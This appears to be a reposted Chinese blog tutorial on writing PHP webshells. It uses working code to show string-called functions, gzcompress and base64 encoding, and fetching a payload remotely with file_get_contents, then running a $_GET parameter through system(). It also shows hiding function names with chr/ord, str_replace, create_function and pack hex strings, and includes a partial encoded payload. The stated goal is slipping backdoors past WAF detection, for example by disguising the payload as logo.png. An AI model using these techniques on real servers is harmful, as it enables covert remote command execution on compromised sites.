1. 程式人生 > >php webshell常見函數

php webshell常見函數

轉碼 targe pla enc ebs pack ace waf 字符

0x1

直接在字符串變量後面加括號, 會調用這個函數:

<?php
$s = ‘system‘;
$e = ‘assert‘;
$s(‘whoami‘);
$e(‘phpinfo();‘);

0x2

執行命令常用的函數有:

system(‘命令‘eval(‘php code‘)
assert(‘php code‘)

這三個最常用

0x3

base64_encode/base64_decode

<?php
$b = base64_encode(‘whoami‘);
echo $b.‘<br />‘;
echo base64_decode($b).‘<br />‘;

0x4

gzcompress/gzuncompress 壓縮數據

<?php
$c = gzcompress(‘whoami‘);
echo $c.‘<br>‘;
echo gzuncompress($c)."<br />";

0x5

從上面的命令執行, base64加解64編碼與gz壓縮, 我們可以寫一個這樣的後門。

先把後門壓縮, 再把後門base64_encode(base64編碼後防止字符原因代碼出錯)。

如果後門是一個php代碼的話, 在最後我們可以用assert或eval執行它。

在php中, 有一個這樣的函數:

file_get_contents
(url)

用這個函數可以遠程獲取文件內容保存到變量中:

$shell = file_get_contents(‘http://localhost/shell.jpg‘)

開始測試, 從最簡單例子開始。

制作gzcompress與base64_encode編碼過的文件:

<?php
$c = ‘system‘;
$data = gzcompress($c);
$file_data = base64_encode($data);
echo $file_data;
fwrite(fopen(‘shell.txt‘, ‘w‘), $file_data);

這樣我們就創了一個壓縮後再64編碼的system字符串

使用:

<?php
$c = file_get_contents(‘http://localhost/shell.txt‘);
#獲取數據
$s = gzuncompress(base64_decode($c));
#解密數據

$s($_GET[session]);
#執行命令

那麽問題來了, 我們為什麽要轉了一大圈再回來呢?

原因很簡單, 就是你壓縮後的數據, 有可能一些WAF並不會檢測到內容存在危險。

0x6

ascii轉碼函數: chr/ord

<?php
$str = ‘system‘;
for($count = 0; $count < strlen($str); $count++){
    echo substr($str, $count, 1).‘~‘.ord(substr($str, $count, 1)).‘<br />‘;
}
/*
s~115
y~121
s~115
t~116
e~101
m~109*/

0x7

str_replace字符替換函數:

<?php
$s = str_replace(‘p‘,‘‘,‘pspypsptpepmp‘);
echo $s;
#system

0x8

create_fuction()創建匿名函數:

<?php
#create_function(‘參數列表‘, ‘php代碼字符串‘);
$info = create_function(‘‘,‘phpinfo();‘);
$info();

0x9

pack函數

pack(‘格式‘, 十六進制字符串)

pack函數有點復雜, 但不常用, 如果你要把一個十六進制轉成字符, 可以這樣:

<?php
$x = bin2hex(‘system‘);
$s = PACK(‘H*‘, $x);
echo $s.‘<br />‘;
$s(‘whoami‘);

pack關鍵用法就是, 我們可以把一些第感的函數, 先轉成16進制, 再 pack回來。

比如, create_function(‘‘, $shell)中, $shell為php code代碼, 我們可以在php code中利用隱藏一些敏感函數。

<?php
$shell=PACK(‘H*‘,‘2470617373776F72643D27‘).$password.
PACK(‘H*‘,‘273B247368656C6C6E616D653D27‘).$Username.
PACK(‘H*‘,‘273B246D7975726C3D27‘).$Url.
PACK(‘H*‘,‘273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827‘).‘
eJzs/Xt3HNd5Jor/zazl71Buw2rAwqXu1UUQsOpKgheABEBSlK
iD02g0gCYaaKi7QYCi+GEczZxoHM+KJetiWzdbkmNZsi1FkmXH
yzOT8WQyk/HPcybJTJKZJLN+z7N3VXVVX0BQtpPJOoZEoLtq3/
d73+/77tb6WqdbbXfHJ2Y/8zsb9c3GXn28vHunurHRrnc65cmx
tZVo+Vq0/Hh5JVheuLy6Fi9cjBa9S1H5iXyN/Vanu18VFfjnsN
XeyL/ubNebzb3qbh3vs8/FHg/aTbwUf/misTn+yFa9u7Zb3WrU
.......


$f = create_function(‘‘, $shell);
$f();

pack用法可以參孝一下這裏: perl pack

總結

創建一個gz壓縮再base64編碼的文件(如 logo.png), 利用file_get_contents獲取。

利用str_replace/chr/ord/create_fuction函數繞過一些WAF檢測。

php webshell常見函數